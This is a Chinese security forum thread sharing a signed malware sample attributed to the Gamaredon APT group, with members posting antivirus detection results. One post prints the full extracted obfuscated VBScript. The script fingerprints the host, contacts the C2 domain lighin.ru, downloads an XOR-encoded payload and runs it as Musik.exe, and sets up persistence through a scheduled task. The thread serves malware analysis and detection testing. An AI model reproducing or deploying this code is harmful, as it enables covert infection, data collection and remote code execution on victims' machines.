#Gamaredon #APT #Signed

显示全部楼层 · 发表于 2021-7-9 19:19:39

本帖最后由 hsks 于 2021-7-9 19:22 编辑

https://mp.weixin.qq.com/s/bJrEwoq4QkDJvEk_ThvueQ

显示全部楼层 · 发表于 2021-7-9 19:58:55

程序不是双击运行的，请使用mshta命令执行（此文件）
尾端嵌入了vbs脚本，前面也有几处修改
提取出的vbs脚本

<html>
<body>
<script language="VBScript">
On Error Resume Next
if SKFGDCaWBDAoqQHbpnff < 11 then tnPyM = "OOzlQEPEhqxKjvYH"
Set TjyjpMbVrYKdg = CreateObject("WS" & "cr" & "ip" & "t." & "Sh" & "el" & "l")
if VgGVHa = 47 then bxewmQphqiGT = "kDtFTjIsRfUiiEqkljQbgqZSk"
Set ngAnTVImteBoEho = CreateObject("Sc" & "ri" & "pt" & "in" & "g." & "Fi" & "le" & "Sy" & "st" & "em" & "Ob" & "je" & "ct")
if bUxXmpBwTaRTNYVw = 20 then QxKapgnaexUMxv = "zkvpUYteCJdPRdibaevJiDloKwH"
Set lAmnIxntyY = CreateObject("W" & "S" & "c" & "r" & "i" & "p" & "t" & "." & "N" & "e" & "t" & "w" & "o" & "r" & "k")
if XQBxSozHoPuAUZDFC < 17 then EmmnGdoxBeGURoTah = "iEsDQU"
MZkTAfMiw = Hex(ngAnTVImteBoEho.GetDrive(TjyjpMbVrYKdg.ExpandEnvironmentStrings("%S" & "YS" & "TE" & "MD" & "RI" & "VE" & "%")).SerialNumber)
if WSTJwgHiLOAtyhxQeZ = "NofmqGwMjLvLYuq" then
FiOApOKYCTsmqhlXRq = UCase("AHRevlHEOSbKMMJf")
for LvZwYusBbMG = 36 to 275
UrzalQAM = Trim("aXXemAWBQlIivgDiXmtKvxGxjKlbtfNwkNyYBPFBE")
if WMJDthicaaQmdRaubPuIk = "GrtLCnWTbVHaVemKCFyBKWLCB" then
LyhhegHgsGkGkk = UCase("thKBWhpTUXAwikpfFMXFmBFvhAljQk")
if KhtoIazZlBJOJFXNLfQze = "mbdYXkTfMPyBMuFeefyZ" then isbOUVvFDksJmBrAWfMxUks = "ATWVLJknhayzk"
end if
Next
end if
CkaZbHTLxRSgwxKJmurCOt = TjyjpMbVrYKdg.ExpandEnvironmentStrings("%CO" & "MPU" & "TER" & "NAM" & "E%") & "_" & MZkTAfMiw
if xihsXOPgaxzW = "lgAX" then
fYYaOHevNVHFrwuS = UCase("nRTfgrrZJWbRAWlKlZlYkN")
for gRVNYMTVHSlGGjanDnL = 90 to 209
eZwXhsAHPzcargyOWeB = Trim("KileDByyUxBpIHV")
if gLLGIqLOZkMQZmOgY = 13 then OmDoyJReeY = "rtYyUlrzCrZPdQmhuL"
Next
end if
rWxIp = "num="+CkaZbHTLxRSgwxKJmurCOt+"&vr=hta"
for TBQgvsJEgojkNdmL = 51 to 231
EFTvsuXExU = Trim("ScsjafNZtLqKHBqAVhRiDVUGiaHtcxYhtDWHs")
for HxnLud = 16 to 246
lsgEcnJdYwIlBzYUxvn = Trim("fjHreKkPKZcwo")
if YUlXPeZzG = "JmiIEKJHZaBkBYGkAPabGYuSHcGBPbjcYVVnQxXsZ" then
DjdqPHVUiNxwlIz = UCase("RoFlSJGNvWiXmkrPBcEIsxrZLfDTTD")
if ClHGNWKxuCgMuAjkvA = 24 then uoQdUwgZmFntsezVBdkCfRG = "QeeKwSXSHwtlImJgwXrGIoiufiH"
end if
Next
Next
DIcSCqKCCVIp = TjyjpMbVrYKdg.ExpandEnvironmentStrings("%PU" & "BL" & "IC%") + "\Do" & "wn" & "lo" & "ad" & "s\M" & "u" & "s" & "i" & "k.hta"
if hYNkd = 12 then OHzOc = "hdZRKCtI"
cSWDxPyCtzNMFZOFFG = TjyjpMbVrYKdg.ExpandEnvironmentStrings("%PU" & "BL" & "IC%") + "\Do" & "wn" & "lo" & "ad" & "s\M" & "u" & "s" & "i" & "k.ini"
if EtytFGQRFvs = "tyAuJIhWibxLwVHRraXOSTZ" then
jAzmOLtCLQx = UCase("TomTqLGovZAHGWHxOWjIDopsDbLksjGaZWaVVN")
if UIPXVALUSaAwk = "hjwmbArMouYSXDQq" then ZfyuPPAWvMT = "SjKpIxvWbyQ"
end if
lbBJUBMA = TjyjpMbVrYKdg.ExpandEnvironmentStrings("%PU" & "BL" & "IC%") + "\Do" & "wn" & "lo" & "ad" & "s\M" & "u" & "s" & "i" & "k.exe"
if pXRyxehmwlRtcIrTKuETsT < 14 then ZuQIevzvU = "zvTVlaktVDZMJJUaYfpq"
for fcoejbREFiD = 81 to 257
NcmXAYbjXMGCXC = Trim("WsVWYRxxfMYXDYBvavXwjzltrtSVlGhiwei")
if BpLoZUMDLTnFGwGVY = 38 then XGcffybMYepbZpLOZGMHK = "pgZfQeJaNXnLiFVJMN"
Next
Set kdEdBOevrfbtM = GetObject("win" & "mgm" & "ts:" & "{im" & "per" & "son" & "ati" & "onL" & "eve" & "l=i" & "mpe" & "rso" & "nat" & "e}/" & "/" & lAmnIxntyY.ComputerName & "/" & "r" & "o" & "o" & "t" & "/" & "c" & "i" & "m" & "v" & "2").ExecQuery("SELECT * FROM Win32_PingStatus WHERE Address = 'lighin.ru'")
if RjTEIXkLrKBa < 16 then ouceWwgLbqfsGrQANoQ = "FCSVwjVHJH"
For Each YErAyWXXMEGKFtWyokgja In kdEdBOevrfbtM
If YErAyWXXMEGKFtWyokgja.StatusCode = 0 Then
DAPMal = "htt" & "p:/" & "/" + YErAyWXXMEGKFtWyokgja.ProtocolAddress + "/revers.php?id="
End If
Next
if SiJOyd = "kfsvprXRDWJexDCnQPzEHQSifz" then
uOXgvGQJeJtECwfkk = UCase("IIHnyYmOxnzYfJeCtAALqBPgPlgUTNKPqLOJwiLF")
if EARrTvdOYifnpGtbYMsS = "kDVHQVKzMtuUXhJzAIINukmpJe" then
kcjhUuUGLouAAxOPYRkrFo = UCase("AvIbpvAzeynEkBpiHFdrh")
if jiwbizQfxlI = "NDX" then
EERFYWie = UCase("FCfkgmeldYssTSzOSpTbr")
if pzEUzkRWfZPdwkvR = "MSDpCdXXUxT" then eYafZNEEiQhXkvUUYpkbSfBM = "yPmAPQTj"
end if
end if
end if
if iTJxeAVsCBRhyFJQRSkw < 17 then fajZYxmOncjMQb = "pdRNkWdlBqekirWqIRCtaXG"
CreateObject("S" & "h" & "e" & "l" & "l" & "." & "A" & "p" & "p" & "l" & "i" & "c" & "a" & "t" & "i" & "o" & "n").ShellExecute "SC" & "HT" & "AS" & "KS", "/CR" & "EAT" & "E /" & "sc " & "min" & "ute" & " /m" & "o 7 /tn ""S" & "y" & "s" & "t" & "e" & "m" & "D" & "a" & "t" & "a" & "P" & "r" & "o" & "v" & "i" & "d" & "e" & "r" & "s"" /tr " + DIcSCqKCCVIp + " /F","","",0
if RXNeGGEDfJACP = "USoQiGywKRFDhCttsYSzQ" then gXZetvczYkf = "ZUeVenuSyczIllPOau"
for xXvxaKCIYnkLLyJT = 8 to 279
wrvcNStRMwpRYau = Trim("ukkPjRdpoaqh")
if kxUPjBkFBfNN = "gIdyXeTbfcXhbFeUbRpjECVFnpbkizXDBGnHGCN" then
qzNpHhwOi = UCase("hEilpJYHKnGeZzmenXLhDjsfFTfURXNZEPB")
if kQdRTZvtseCU < 19 then UirfXyMC = "eDpnZgaKylLCH"
end if
Next
Set AQtbgUKu = GetObject("winmgmts://" & "." & "/" & "r" & "o" & "o" & "t" & "/" & "c" & "i" & "m" & "v" & "2")
if PorYMbkVwqaqOgYuOy = "VbbF" then
rIVzLdSRiHUpyyVzkIL = UCase("nanbLJDPpVatogvtJBOcAcstgolCwPPgQPXCfqXxQaJcv")
if bQILZMdjLiuuWXBTZFtdZIs < 11 then TeQLaSPxas = "nDqTmfMUlvAZPGjXCcW"
end if
For Each TzWsvMeUOvnpKbgQx In AQtbgUKu.ExecQuery("SE" & "LE" & "CT" & " N" & "am" & "e " & "FR" & "OM" & " W" & "in" & "32" & "_P" & "ro" & "ce" & "ss" & " W" & "HE" & "RE" & " N" & "am" & "e='M" & "u" & "s" & "i" & "k.exe'")
TzWsvMeUOvnpKbgQx.Terminate
Next
if pJbAWIWBmLTBW < 12 then bXnwIewsWkTLsT = "qfSygLYoFNqyoBo"
if UvsvnX = 40 then wSXrZiYhIuxnJcgzrsN = "ghMmbtSvoOcfEPCRrxIsR"
oNLieMQRBwxVFJkylrChN = Int((10000 * Rnd) + 1)
if nMqmOl = 43 then SfznKBnxASHmzTmfWPct = "JOBIVEtZyvTKW"
If ngAnTVImteBoEho.FileExists(cSWDxPyCtzNMFZOFFG) Then ngAnTVImteBoEho.DeleteFile(cSWDxPyCtzNMFZOFFG)
if pwLtqtKZbBxn = "FopoddbSdDYxwnvfsUsBqieGruaXnXPGYvIwNXcyh" then
OkDMGbJcGSEBvTmlDmrP = UCase("dOgEzfrGKRyNCWJjxiC")
if FoRYBeyRUruUhFPZ < 13 then vufhMxHKsmmeauvdfXa = "yAsoqZEtVRtJLmIYw"
end if
If ngAnTVImteBoEho.FileExists(lbBJUBMA) Then cAzqcAZTaAo = TjyjpMbVrYKdg.run (lbBJUBMA,0,true)
for RepLmUCEEoIl = 73 to 260
qavyODl = Trim("TZSeISAVDkOlRnuQzgAu")
if cfNwWHihleuTVmUqu = "wsmWyjqxRIvIl" then
ETEBsFIIEyEFnbtnwmQ = UCase("qxbbnHnNCjdfrTZiphZhoLgi")
if PKqwCvTX < 17 then wLUzIYipDtSrWYjSOjE = "RtZesdXGghMTidWV"
end if
Next
If ngAnTVImteBoEho.FileExists(lbBJUBMA) Then ngAnTVImteBoEho.DeleteFile(lbBJUBMA)
if aWgaNUuzWulbcueGq = "anBaKormXDYLsPhFhpSALjWbqDnvcBEljwApt" then
HiKzfdmSssvlL = UCase("wBeULHaUlXkmL")
if LcqQakHAvJVz < 14 then cvOsMetQVqYOAWSPLpqy = "TKYTTpBiLqInrp"
end if
if GlvNj = "AFDynoWyurOAwkndchbFa" then fPDVOFVuM = "WnljnptMSTsZfQFoOR"
for TJrdNeqGPUHHjeAlBLgp = 29 to 328
JRirkSCWvPLNpUI = Trim("FZHpfYyyuuWWtpiNJ")
if lcLojUFw = 21 then tJsVGDbQTUlJtmYHAYVVfc = "GJeukXUacEEkCA"
Next
jTIJzzAlwtn ()
if TCIybjnDUzidTIekZbIaTfx = 16 then BfOoQZclfMmPfJcElngrEI = "pfHKoPcoEOwvUymvXxyG"
If ngAnTVImteBoEho.FileExists(cSWDxPyCtzNMFZOFFG) Then
vgPeCOds = TfUBrsmBeQpQzHR("" + MZkTAfMiw + "")
bkQNIcHOu = fTQnMRvTK( "" + cSWDxPyCtzNMFZOFFG + "", "" + lbBJUBMA + "", vgPeCOds )
End If
if KzGZbrM = "TCfMljiZfZJZFMqnHL" then
ZwqzYDWiyCdFAiWYEnD = UCase("IKBoyIOGcdiUnnuRXRdNpUxCZtEAoriQtuuHSOgEWcGvxFVmLuSWd")
if oMyPED = 44 then SkuRbtsmyJ = "rMOBFTYSptZMmwqGvU"
end if
For Each TzWsvMeUOvnpKbgQx In AQtbgUKu.ExecQuery("SE" & "LE" & "CT" & " N" & "am" & "e " & "FR" & "OM" & " W" & "in" & "32" & "_P" & "ro" & "ce" & "ss" & " W" & "HE" & "RE" & " N" & "am" & "e='mshta.exe'")
TzWsvMeUOvnpKbgQx.Terminate
Next
if ByYHhRydfVoh = "DFHDGMKAThhYrXRjfSxDULzZHzLBcHRLFJVBZ" then
TEkNHctHw = UCase("rQUVUzcvMMvYwaKsUsGivHA")
if LQWTiCQJRbhjyq < 11 then wMmyGDKqAMocvrSjPLxJjGbe = "OfzdJVCGmiVBCTAa"
end if
if cDPWYGGPXE = "gzn" then
szjMSyDxJmB = UCase("mSJjckSeIWywjpipIKlVzlkcwjCcbDiXlgU")
if UoIgEDvzGN = 42 then DLrWNRaAhhmt = "DFoaLDVmcoWdouhpcpWiYPLMKTF"
end if
for NFfJCMxunxXhem = 45 to 288
KCBLPKIlPpBXzAUUEb = Trim("CtsznNrKptMnSLYjMMPEUQTAoxtSdSFFFFIIJL")
for QaZwpkhpwksOJbIlarKpTYh = 41 to 230
nGhMCQZAkRntr = Trim("PDWsaqwewXhSAm")
for tCJiCUmfKrernPuDgGZQBo = 77 to 292
wKDPfiHAyovApNcBvQrhjME = Trim("dluMNqEFMYzFHxDrgDsPFqDEezKHMkGNhCEVF")
if EvjBDBpJtesgBxS = "hlubnTWpzCpqQcUDFPPf" then niphNgxtcSmXE = "nQENYxqYlPS"
Next
Next
Next
for IgKPln = 18 to 270
FFlVCMoSwH = Trim("TvUWKfCfXDDXGahXyWTEdWLzxNieWrcwpglMMoFFkiiCiywmGuxkpVVwkU")
for xXIfaGhaoULKROTuoJRzRvX = 49 to 245
urGUKocsPIHMZCb = Trim("yljnTbBaIbCZfCAhljAMPzsSvJGGVl")
if ivxmrGXfSkgBppcFMrRsa = "vFXuLrjFNqeLVue" then GytQsK = "rdFgAtdUoQep"
Next
Next
for nOVBxEhRXoGQpJZR = 66 to 255
mBYyysVOBkExrSIAJ = Trim("leOkWGCNqLMYTLtkEdpVAnvUdUfVxPgY")
if wImocrqHXqXgegZXvfvzXy < 23 then tHCagQafnTZOlxQBxe = "ExwpzwZUAdF"
Next
Function jTIJzzAlwtn()
if aAphZzBBbVxBQzePlibb = "rVPlLAJOvkuyJYavWoAJNmlYFemY" then
brRHdcMASILPsuAdMojjfh = UCase("rsOtNalOrBAItPfxvqFmsNvfYQFjrfhNkUDsG{过}F{滤}WxohfnAATWGaKnhm")
if xjVwUBWLTnYZLmQq < 11 then HxLiHeXxidRVtfxSZvxjzcm = "TMctKTJUsapq"
end if
On Error Resume Next
if ypZBSeKlZU = "InT" then
ovtluMuQAhQnCKdlvEHkFc = UCase("iINqRtDHjwvGZ")
if OghBWrotPgSjpLul < 13 then bILImqztzCuozyidbOUalwMu = "KyKOvoLyfQvVbpiIXouEPik"
end if
Set bPwWH = CreateObject("MS" & "XM" & "L2" & ".X" & "ML" & "HT" & "TP")
if WRjEElf = "smShDvyNrjEwtAWvy" then JsdPSwCexVKEorLiTMv = "wWWdNaIeQfFAksqAsXavLXxpmOQO"
Set bTcEQqiA = CreateObject("ADO" & "DB." & "Str" & "eam")
if KuUcKpQQdRqdzjXmtehwQDIQ = 43 then VvifpzcYZgdEBJSah = "DdzmeBguyuiGmEvothlnROFZCt"
bPwWH.Open "POST", DAPMal + CStr(oNLieMQRBwxVFJkylrChN), False
for klToYiYAmSqrRk = 45 to 289
GdMkbjbBhlAqdmXx = Trim("ZSKVgvFqoZJOCnOpTKEvqIjmCYsvOOVSLVLLwHgoWtncXXxDOwEnTkFQ")
if THDKbZErDhcCtL = "cXoYlMRNXgUQaLCtJELI" then PZxUHOeaogRJiyaP = "cJohOdJQWscRhaWWFdNfHjiKKOU"
Next
bPwWH.setRequestHeader "C" & "o" & "n" & "t" & "e" & "n" & "t" & "-" & "T" & "y" & "p" & "e", "ap" & "pl" & "ic" & "at" & "io" & "n/" & "x-" & "ww" & "w-" & "fo" & "rm" & "-u" & "rl" & "en" & "co" & "de" & "d"
for HlVTXZNw = 1 to 317
odpKLX = Trim("TGfLgLMfZLHdfwfYTWAtiEJNdHoVK")
for sdzxYevFJ = 18 to 304
sABpaIg = Trim("BzwlOwShYWrVBBOzgyHuXQqmqEHYDyILYfJtgNjbMNgmQXyAaach")
if UkIKvKoteaOfwVrVTTPgh < 15 then kEVSGGxd = "JgLZkWRZmSjGXka"
Next
Next
bPwWH.setRequestHeader "Con" & "ten" & "t-L" & "eng" & "th", Len(rWxIp)
if LEfLbQCHdDuVTD < 10 then CiPIyOut = "CsubiCOddTnAVSspylK"
bPwWH.Send rWxIp
if IjfVcEbhujL < 20 then RCcbxtUgSqJvb = "xtbWnyv"
If bPwWH.Status = 200 Then
bTcEQqiA.Open
bTcEQqiA.Type = 1
bTcEQqiA.Position = 0
bTcEQqiA.Write bPwWH.ResponseBody
bTcEQqiA.SaveToFile cSWDxPyCtzNMFZOFFG
bTcEQqiA.Close
End If
End Function
if XVuAgvxBzUoraH = "BKJCTDJhEwwDmttTGtcceiJljbaVGugBWEzWlu" then
XDSMSsWz = UCase("vKGneKHlJZsMytWLTBXSscobKQvghuXhLMgRXvebcq")
if NhhIztgUNbpTWfcOPaDPCKA = "WNurSPMBnBtCguwtFIxSloIeSzgctOBzq" then
MFoXXvqBLsNcimgoOCU = UCase("QzLwEIjoNKyKwnqnjFEByiFQYT")
if HZztMPexiIDpiwaxfI = "ShtvXlZzhoKEygItEaC" then smGfvv = "TBHHkQQqxA"
end if
end if
if aEpYoKnRBDenoWHiANY = 37 then mOARz = "UEjBlkhJhifxFVOkcadL"
Function TfUBrsmBeQpQzHR( TjyjpMbVrYKdg )
On Error Resume Next
Dim vbUwYQgMnnOpvzKXfeJj, ByNLbsVc( )
ReDim ByNLbsVc( Len( TjyjpMbVrYKdg ) - 1 )
For vbUwYQgMnnOpvzKXfeJj = 0 To UBound( ByNLbsVc )
ByNLbsVc(vbUwYQgMnnOpvzKXfeJj) = Asc( Mid( TjyjpMbVrYKdg, vbUwYQgMnnOpvzKXfeJj + 1, 1 ) )
Next
TfUBrsmBeQpQzHR = ByNLbsVc
End Function
for WQyALmgDqhxcKGlXDBSah = 33 to 204
EQutcEOObggfCvi = Trim("[过滤]ZPxpOfvcWMxKvLhGRKbpbFRwfEpokzmErNfBw")
if ZSmFUiVGjA < 11 then kVtAmTyBK = "GrXZtSiggJNvCWoAwNJx"
Next
if dsAHsrBtba = "SPNdcdFbARQSrP" then
GaQiqpBhZTDAAQsngyw = UCase("hIUdgrJuuarArADUufMTrMmFN")
if gHCkJkzLeLVPWIV = "WPQxRcmrpiProZJ" then DldObxwVmewZ = "PqKWtjUjVyjLhxe"
end if
for lmIRVymGpGaaaBGPJQcKe = 60 to 332
hCZROXs = Trim("xGBreAATjqXFyKAowIHE")
for LeFGrDkPOI = 17 to 273
OdTAOlIP = Trim("jcDORZbkZrmjuWmYIwjUcPujhgohWyoPmYudCdmKneiSctYd")
for zSZGLUhUg = 13 to 311
kuNaCXxWcJVfKYgygc = Trim("LEKzVpfNZvixCatQHP")
if BATrUIBZMnENrcYpDbhhRJC < 10 then niHynhZMBt = "lTeNoFAmr"
Next
Next
Next
Function fTQnMRvTK( gXUpDybxQDfD, PgPomDAtGBdLIEMVE, ByNLbsVc )
On Error Resume Next
Dim isEpnMuqtZZWqeuuPcMgeoRE, wiHlwSZ, gdPAWhrcKVrl, bbkXoy, AStbAirdmExG
If Not IsArray( ByNLbsVc ) Then
ByNLbsVc = Array( ByNLbsVc )
End If
For isEpnMuqtZZWqeuuPcMgeoRE = 0 _
To UBound( ByNLbsVc )
If Not IsNumeric( ByNLbsVc(isEpnMuqtZZWqeuuPcMgeoRE) ) Then
fTQnMRvTK = 1032
Exit Function
End If
If ByNLbsVc(isEpnMuqtZZWqeuuPcMgeoRE) < 0 _
Or ByNLbsVc(isEpnMuqtZZWqeuuPcMgeoRE) > 255 Then
fTQnMRvTK = 1031
Exit Function
End If
Next
Set wiHlwSZ = CreateObject("Sc" & "ri" & "pt" & "in" & "g." & "Fi" & "le" & "Sy" & "st" & "em" & "Ob" & "je" & "ct")
If wiHlwSZ.FileExists( gXUpDybxQDfD ) Then
Set gdPAWhrcKVrl = wiHlwSZ.GetFile( gXUpDybxQDfD )
Set AStbAirdmExG = gdPAWhrcKVrl.OpenAsTextStream( 1, 0 )
Else
AStbAirdmExG.Close
Set AStbAirdmExG=Nothing
Set gdPAWhrcKVrl=Nothing
Set wiHlwSZ=Nothing
Exit Function
End If
If wiHlwSZ.FileExists( PgPomDAtGBdLIEMVE ) Then
AStbAirdmExG.Close
Set AStbAirdmExG=Nothing
Set gdPAWhrcKVrl=Nothing
Set wiHlwSZ=Nothing
Exit Function
Else
Set bbkXoy = wiHlwSZ.CreateTextFile( PgPomDAtGBdLIEMVE, True, False )
End If
set isEpnMuqtZZWqeuuPcMgeoRE = 0
Do Until AStbAirdmExG.AtEndOfStream
For isEpnMuqtZZWqeuuPcMgeoRE = 0 _
To UBound( ByNLbsVc )
isEpnMuqtZZWqeuuPcMgeoRE + 1 mod ( UBound( ByNLbsVc ))
bbkXoy.Write Chr( Asc( AStbAirdmExG.Read( 1 ) ) _
Xor ByNLbsVc(isEpnMuqtZZWqeuuPcMgeoRE) )
if AStbAirdmExG.AtEndOfStream Then Exit Do
Next
Loop
set isEpnMuqtZZWqeuuPcMgeoRE = 0
Do Until AStbAirdmExG.AtEndOfStream
isEpnMuqtZZWqeuuPcMgeoRE = ( isEpnMuqtZZWqeuuPcMgeoRE + 1 ) \ ( UBound( ByNLbsVc ) + 1 )
bbkXoy.Write Chr( Asc( AStbAirdmExG.Read( 1 ) ) _
Xor ByNLbsVc(SioGH) )
vbUwYQgMnnOpvzKXfeJj = vbUwYQgMnnOpvzKXfeJj + 1
If SioGH < UBound( ByNLbsVc ) Then
SioGH = SioGH + 1
else SioGH = 0
End If
Loop
bbkXoy.Close
AStbAirdmExG.Close
Set AStbAirdmExG=Nothing
Set gdPAWhrcKVrl=Nothing
Set bbkXoy=Nothing
Set wiHlwSZ=Nothing
End Function
if MensyQSKyhmcWesVPeZc = 45 then mfyeVLkgIeXjoixuzfBss = "lVQvOJqqATzZzpNdEidqCOthvvaQy"
if arbkCYPcEYpNGYOrds = "kicheHxHWeeypMVMxvALTSXmXBYLSiRwyFCP" then
xVdwbYiFrqgWQBoqwvf = UCase("wSTbajNLigDfbtBuUTSKpJcjlpoMizkKGTAcgjtiKapUVfqoQBelk")
if mpkqkv < 10 then diwtY = "YOkZjzPUHNFzzwgVyZBPO"
end if
if tbIjoRGVCuFQVDykkUsyDlKu < 25 then RhgsiuEhSVHdPcl = "asTfGtGoYCyIwH"
if WNqQFEAXuFrSwD < 21 then OiCKsHQwz = "MxAZKJvKfUB"
</script>
</body>
</html>

复制代码

显示全部楼层 · 发表于 2021-7-9 19:21:28

Windows Defender

显示全部楼层 · 发表于 2021-7-9 19:21:53

本帖最后由 Shake2333 于 2021-7-9 19:33 编辑

McAfee miss，双击无法运行

显示全部楼层 · 发表于 2021-7-9 19:26:49

本帖最后由 ANY.LNK 于 2021-7-9 19:51 编辑

Microsoft Defender：里面的exe暂时不报上报也不认为exe是恶意软件，微软又被大厂的有效证书攻破了。有谁能让微软改变一下最终决定吗？感谢了

显示全部楼层 · 发表于 2021-7-9 19:32:56

诺顿miss

显示全部楼层 · 发表于 2021-7-9 19:34:17

似乎还缺东西

显示全部楼层 · 发表于 2021-7-9 19:35:49

360 Scan MISS

360木马查杀扫描日志
开始时间: 2021-7-9 19:35:03
扫描用时: 00:00:01
扫描类型: 自定义扫描
扫描引擎:360云查杀引擎（本地木马库） 360启发式引擎 QEX脚本查杀引擎
QVM Ⅱ人工智能引擎鲲鹏引擎
扫描文件数: 1
系统关键位置文件: 0
系统内存运行模块: 0
压缩包文件: 0
安全的文件数: 1
发现安全威胁: 0
已处理安全威胁: 0
扫描选项
扫描后自动关机: 否
扫描模式: 速度最快
管理员：是
扫描内容
C:\Users\*\Desktop\1.exe

复制代码

显示全部楼层 · 发表于 2021-7-9 19:41:49

本帖最后由正在缓冲于 2021-7-9 19:43 编辑

Avast
FileRepMalware
Kaspersky受信任，看来是被感染了？

显示全部楼层 · 发表于 2021-7-9 19:41:57

BE_HC 发表于 2021-7-9 19:35
360 Scan MISS

离谱

显示全部楼层 · 发表于 2021-7-9 19:42:12

本帖最后由 windows11BigSur 于 2021-7-9 19:45 编辑

卡巴miss
见了鬼。。。

[病毒样本] #Gamaredon #APT #Signed

本帖子中包含更多资源

评分

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源

浏览过的版块